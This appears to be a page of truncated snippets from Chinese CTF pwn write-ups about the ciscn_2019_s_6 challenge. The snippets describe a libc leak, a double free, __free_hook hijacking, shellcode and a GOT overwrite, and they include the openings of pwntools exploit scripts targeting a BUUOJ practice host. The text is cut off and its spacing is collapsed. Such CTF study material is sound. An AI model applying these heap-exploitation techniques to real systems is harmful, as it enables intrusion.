泄露完libc的地址在double free然后劫持__hook_free函数,在调用即可 frompwnimport*#p=process('./ciscn_s_6')p=remote('node3.buuoj.cn',26462) elf=ELF('./ciscn_s_6') libc=ELF('./libc-2.27.so')defadd(size,name,call): p.recvuntil('choice:') p.sendline('1') p.recvuntil('name') p...
ciscn_2019_s_6 exp frompwn_debugimport* context.binary ='./ciscn_s_6'context.log_level ='debug'pdbg = pwn_debug('./ciscn_s_6') pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so','/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86...
没有开启nx保护,考虑用shellcode来做这道题 程序放入ida查看 我们可以输入48个字符覆盖0使printf打印出bp的值 继续看这里,buf的大小实际上只有0x38的大小,但是read却可以输入0x40个字符所以存在溢出 查看dest的位置,dest就在buf的下面,所以我们可以通过溢出将free_got的值溢出到这里,在通过strcpy使free_got指向shell...